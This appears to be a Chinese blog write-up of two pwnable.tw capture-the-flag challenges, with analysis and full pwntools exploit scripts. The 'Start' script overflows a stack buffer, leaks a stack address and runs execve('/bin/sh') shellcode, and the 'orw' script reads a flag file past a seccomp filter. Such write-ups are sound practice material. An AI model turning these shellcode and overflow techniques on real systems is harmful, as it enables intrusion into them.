【PWN刷题】Pwnable-Start、Pwnable-orw

题目来源：https://pwnable.tw/challenge

目录

一、Pwnable-Start

1.检查保护

 2.IDA分析

3.EXP

二、pwnable-orw

1.检查保护

2.IDA分析

3.EXP

---

一、Pwnable-Start

1.检查保护

入门级题目，保护全关

 2.IDA分析

①只有start和exit两个函数。其中，start函数做了一次<SYS_write>和<SYS_read>

② 漏洞点在<SYS_read>读了0x3C个字符，可以覆盖到ret，如下所示：

    +-----------------+      <----
    |       Let’      |         |     
    +-----------------+         |
    |       s st      |         |
    +-----------------+         |
    |       art       |        14h
    +-----------------+         |
    |       the       |         |
    +-----------------+         |
    |       CTF:      |         |
    +-----------------+      <-----
    |     ret(exit)   |
    +-----------------+
    |    Saved ESP    |
High+-----------------+

③思路：由于未开启NX，考虑使用shellcode。第一轮覆盖ret为0x08048087泄露栈地址；第二轮将shellcode写入栈内，返回地址ret覆盖为栈地址。

关于shellcode的生成有两种方式：

①自己写汇编，用pwntools的asm生成shellcode，如下：

shellcode=asm( "xor ecx,ecx;xor edx,edx ; push edx;push 0x68732f6e;push 0x69622f2f; mov ebx,esp;mov eax,0xb;int 0x80 ")

这里解释一下，0x68732f6e和0x69622f2f组合在一起是hs/nib//，也就是binsh的小端序写法；而0xb，也就是11，是execve的系统调用号。

②在shellcode网站上找合适的，我选用的是Linux/x86 - execve(/bin/bash, [/bin/bash, -p], NULL) - 33 byteshttp://shell-storm.org/shellcode/index.htmlhttp://shell-storm.org/shellcode/index.html

3.EXP

#!/usr/bin/env python3
# coding = utf-8

from pwn import *
context(arch = "i386", os = "linux", log_level = "debug")


#p = process('./start')
p = remote('chall.pwnable.tw',10000)
elf = ELF('./start')
#libc=ELF('./libc.so.6')
#gdb.attach(p, 'b *0x08048060')

shellcode=asm( "xor ecx,ecx;xor edx,edx ; push edx;push 0x68732f6e;push 0x69622f2f; mov ebx,esp;mov eax,0xb;int 0x80 ")
p.recvuntil('CTF:')
p.send(b'a'*20+p32(0x08048087))
ret=u32(p.recv(4)) + 0x14
#shellcode = b'\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80'
payload = b'a' * 20 + p32(ret) + shellcode

p.send(payload)

p.interactive()

二、pwnable-orw

1.检查保护

只开了canary保护

2.IDA分析

①main开头有一个seccomp()，之后是执行我们写入的shellcode

② 其中，seccomp()是用来禁用某些系统调用的。我们这里使用seccomp-tools，发现可以使用open、read、write，也就是我们说的orw：

③思路：打开文件sys_open('/home/orw/flag',0,0)，读取文件sys_read(3,flag,0x100)，写入标准输出sys_write(1,flag,0x30)。这里可以使用pwntools自带的shellcraft。当然也可以用上边所说的，自己写汇编然后用asm生成shellcode，这种比较标准的函数还是建议用shellcraft，比较方便。

3.EXP

#!/usr/bin/env python3
# coding = utf-8

from pwn import *
context(arch = "i386", os = "linux", log_level = "debug")


#p = process('./orw')
p = remote('chall.pwnable.tw',10001)
elf = ELF('./orw')
#libc=ELF('./libc.so.6')
#gdb.attach(p, 'b *0x08048060')

p.recvuntil('shellcode:')
shellcode = shellcraft.open('/home/orw/flag')
shellcode += shellcraft.read('eax','esp',100)
shellcode += shellcraft.write(1,'esp',100)
payload = asm(shellcode)

p.send(payload)

p.interactive()